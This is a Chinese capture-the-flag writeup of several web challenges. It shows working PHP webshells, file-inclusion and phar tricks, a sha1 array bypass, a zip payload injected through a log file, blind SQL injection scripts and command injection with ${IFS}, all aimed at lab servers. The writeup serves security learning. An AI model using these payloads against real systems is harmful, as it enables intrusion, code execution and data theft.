zjgsctf平台上的部分wp
ZJGSCTF 部分writeup
哇 黑进服务器
题目链接:http://218.76.35.74:20129
进去之后老规矩先右键看源码,提示说,去到include.php之后提示说需要file,应该是文件包含,用filter协议"php://filter/read=convert.base64-encode/resource="
读取upload.php
base64解密之后如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| ****upload.php <form action="" enctype="multipart/form-data" method="post" name="upload">file:<input type="file" name="file" /><br> <input type="submit" value="upload" /></form> <?php if(!empty($_FILES["file"])) { echo $_FILES["file"]; $allowedExts = array("gif", "jpeg", "jpg", "png"); @$temp = explode(".", $_FILES["file"]["name"]); $extension = end($temp); if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg") || (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg") || (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png")) && (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts)) { move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]); echo "file upload successful!Save in: " . "upload/" . $_FILES["file"]["name"]; } else { echo "upload failed!"; } } ?>
|
绕过方式很简单,只要后缀是jpg,且content-type是image/jpeg即可。
一句话木马如下:
1 2
| ***a.php <?php eval($_POST('aaa'))?>
|
将php打包成zip,然后重命名成jpg,上传
- 在include.php页面利用文件包含和phar伪协议来读取jpg中的php文件。如下:这里一开始没加system,一直不成功。
- 然后flag文件藏在哪儿反正我没找到,潘大佬告诉我用find / -name ‘*flag*‘ 这才找到了flag
登陆有奖&登陆有奖plus
进去之后看到url里的page就一激灵,八成又是文件包含的题目,还是一样的套路,先试试filter读源码"php://filter/read=convert.base64-encode/resource="
base64解密出来两个比较重要的页面源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| ***index.php <?php $pwhash="ffd313052dab00927cb61064a392f30ee454e70f"; if (@$_GET['log']) { if(file_exists($_GET['log'].".log")){ include("flag.txt"); } } if(@$_GET['page'] != 'index'){ include((@$_GET['page']?$_GET['page'].".php":"main.php")); } ?>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| ***login.php <?php $login=@$_POST['login']; $password=@$_POST['password']; if(@$login=="admin" && sha1(@$password)==$pwhash){ include('flag.txt'); }else if (@$login&&@$password&&@$_GET['debug']) { echo "Login error, login credentials has been saved to ./log/".htmlentities($login).".log"; $logfile = "./log/".$login.".log"; file_put_contents($logfile, $login."\n".$password); } ?> <center> login<br/><br/> <form action="" method="POST"> <input name="login" placeholder="login"><br/> <input name="password" placeholder="password"><br/><br/> <input type="submit" value="Go!"> </form> </center>
|
plan A
看潘大佬的wp才发现还有这种操作,因为在login.php中$pwhash
并没有被赋值,这个变量是在index.php里面被赋值的,所以如果直接访问login.php而不经过index.php的话,则$pwhash这个变量的值其实是null,这样就很舒服了。
所以只需要根据phphash的特性,构造password[],则hash之后返回false,null==false
Plan B
看login.php里如果url里有debug参数的话,则会将用户名和密码写入到日志里,以’\n’分割。
去找一下原因
好吧,5.4.16版本,那么高。。%00和长度截断都是要求php版本低于5.3.4,其中%00还需要php的magic_quotes_gpc为OFF状态
那看来截断不行了,那换个角度试试
如果想绕过’.php’,可以用zip
或者phar
,但是这两个协议都需要压缩包。既然写一句话木马不行,那写个压缩包进去试试。
但是还有个问题,login和password之间用’\n’分割,这样会影响压缩包的解压,观察一下压缩包的结构。
能看到有个0A即’\n’,这样就很舒服。
- 将十六进制导出,再将空格替换成%
1
| login=%50%4b%03%04&password=%00%02%00%00%00%20%b1%0c%4b%e5%4a%ef%5e%1c%00%00%00%1c%00%00%00%05%00%1c%00%63%2e%70%68%70%55%54%09%00%03%fb%0b%8f%59%fb%0b%8f%59%75%78%0b%00%01%04%e8%03%00%00%04%e8%03%00%00%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%52%45%51%55%45%53%54%5b%63%5d%29%3b%3f%3e%0a%50%4b%01%02%1e%03%0a%00%02%00%00%00%20%b1%0c%4b%e5%4a%ef%5e%1c%00%00%00%1c%00%00%00%05%00%18%00%00%00%00%00%01%00%00%00%a4%81%00%00%00%00%63%2e%70%68%70%55%54%05%00%03%fb%0b%8f%59%75%78%0b%00%01%04%e8%03%00%00%04%e8%03%00%00%50%4b%05%06%00%00%00%00%01%00%01%00%4b%00%00%00%5b%00%00%00%00%00
|
你能登录吗?究极进化版
这里直接copy潘大佬的wp了
看长相像SQL注入,试了下先判断用户名,讲道理不可能写死判断是否是admin,而是查数据库看用户是否存在,那么这里可能就是一个注入点了,再讲道理密码都会哈希处理一般不会是注入点,所以要是有注入就只能在这里了,另外,这里是判断用户是否存在那么只有盲注了,继续测试发现它会显示字符被过滤alert(‘illegal character!!@_@’);,这个比较明显就可以先测试过滤了那些字符,经测试含,,|,&,and,or,union,like,*, (所有空白符)
等,于是先想办法构造布尔语句,本来构造方法很多,但是要绕空格就pass很多了,这里使用普通运算就可以了:
1 2 3 4 5
| admin'-1-'-1 #不能用+,被过滤了 admin'/'1 #不能用*,被过滤了 admin'^1^'1 admin'%1%'1 ..........
|
好啦,现在有布尔语句了,往里面填值就好了:
构造的语句不能有空格,逗号,ORD(含or),于是:
admin'-(ascii(substr(database()from(2)))>110)-'-1
首先直接用exists(select(uname)from(admin))
验证,猜出了表名和列名:
admin:uname:passwd可以少写点脚本,先把这个跑出来,不能做了再去跑所有的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| ##老夫编程就是一把梭,什么二分查找,多线程 tan90°,能出结果就好了 import requests url = "http://218.76.35.74:20130/login.php" unameq = "admin'-(ascii(substr((select(group_concat(passwd))from(admin))from(" password = '' for i in range(1,50): for j in range(1,128): uname = unameq+str(i)+")))="+str(j)+")-'-1" data = {'uname':uname,'passwd':'123'} r = requests.post(url=url, data=data) if 'password' in r.text: password+=chr(j) print(password) break if j==127: print("完成!") exit(0)
|
跑出结果是50f87a3a3ad48e26a5d9058418fb78b5 cmd5 查出是shuangshuang登录进去:
可以进行命令执行,但是空格被过滤了,百度可知可以${IFS}替换空格http://smilejay.com/2011/12/bash_ifs/
而且发现它只回显最后一行,猜测后台代码如下:
1 2 3 4 5
| $command = $_POST['cmd']; if(strpos($command, ' ')){ die('Not allowed!'); } system($command.' | tail -n 1');
|
跟tail对应的就是head,所以构造命令如但是好像没啥子,那就往上翻吧
这个目录有点奇怪进去看看
找到flag
看起来有点难
标准的sql注入,先看看过滤了什么吧很明显select
被过滤了,这样一个一个试,发现还有空格
也被过滤了。
这么看来的话,还是能过的,脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| #coding:utf-8 import requests import time def payload(field,x,i): xx = "admin'/**/and/**/if(ascii(substring(%s,%s,1))=%s,sleep(3),sleep(0))/**/and/**/'1'='1"%(field,x,i) #xx = "admin'/**/and/**/if(ascii(substring(%s,%s,1))=%s,sleep(3),sleep(0))/**/and/**/'1'='1"%(field,x,i) url = 'http://ctf5.shiyanbar.com/basic/inject/index.php?admin=%s&pass=1&action=login'%(xx) start = time.time() response = requests.get(url) end = time.time() if end-start >3: return 1 else : return 0 print "start" fields=['uname','uid','name','username','pw','passwd','password'] for field in fields: id=0 flag='' for x in range(1,100): for i in range(32,128): if payload(field,x,i)==1: flag+=chr(i) print field+':'+flag break if i==127: print field+" is over" id=1 break if id==1: break
|
代码写的有点丑。。我这里字段是一个一个猜出来的,如果师傅有什么好的方法可以私聊给我,或者师傅遇到过哪些用户名和密码花式字段都可以分享一下,可以弄个小字典来跑一下
亦可赛艇
右键查看源码可以看到source.txt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| <?php error_reporting(0); if (!isset($_POST['uname']) || !isset($_POST['pwd'])) { echo '<form action="" method="post">'."<br/>"; echo '<input name="uname" type="text"/>'."<br/>"; echo '<input name="pwd" type="text"/>'."<br/>"; echo '<input type="submit" />'."<br/>"; echo '</form>'."<br/>"; echo '<!--source: source.txt-->'."<br/>"; die; } function AttackFilter($StrKey,$StrValue,$ArrReq){ if (is_array($StrValue)){ $StrValue=implode($StrValue); } if (preg_match("/".$ArrReq."/is",$StrValue)==1){ print "姘村彲杞借垷锛屼害鍙禌鑹囷紒"; exit(); } } $filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)"; foreach($_POST as $key=>$value){ AttackFilter($key,$value,$filter); } $con = mysql_connect("XXXXXX","XXXXXX","XXXXXX"); if (!$con){ die('Could not connect: ' . mysql_error()); } $db="XXXXXX"; mysql_select_db($db, $con); $sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'"; $query = mysql_query($sql); if (mysql_num_rows($query) == 1) { $key = mysql_fetch_array($query); if($key['pwd'] == $_POST['pwd']) { print "CTF{XXXXXX}"; }else{ print "浜﹀彲璧涜墖锛�"; } }else{ print "涓€棰楄禌鑹囷紒"; } mysql_close($con); ?>
|
主要是这几行代码:
1 2 3 4 5 6 7 8 9 10 11 12
| $sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'"; $query = mysql_query($sql); if (mysql_num_rows($query) == 1) { $key = mysql_fetch_array($query); if($key['pwd'] == $_POST['pwd']) { print "CTF{XXXXXX}"; }else{ print "浜﹀彲璧涜墖锛�"; } }else{ print "涓€棰楄禌鑹囷紒"; }
|
有两层限制,第一个限制是要查询结果为一行,可以用' or '1'='1' limit 1#
来绕过,而且如果不加limit的话就会绕不过,这就说明不止一个用户,用offset看了下有两个用户.
接下来第二层限制的话用一个神奇的东西group by with rollup
group by pwd 是按照pwd来分组,此处是为了搭配 with rollup
使用with rollup 统计pwd组的信息,这里没用任何统计函数(sum,avg…),多出的那一行的pwd列只能是NULL所以到目前取出的的数据类似这样:
+——-+——-+
| uname | pwd |
+——-+——-+
| usr1 | * |
| usr2 | * |
| usr2 | NULL |
+——-+——-+
然后是limit 1 offset 2 就是跳过两个,只用第三个数据。
那么最终取出的数据就是这样了
+——-+——-+
| uname | pwd |
+——-+——-+
| usr2 | NULL |
+——-+——-+
这样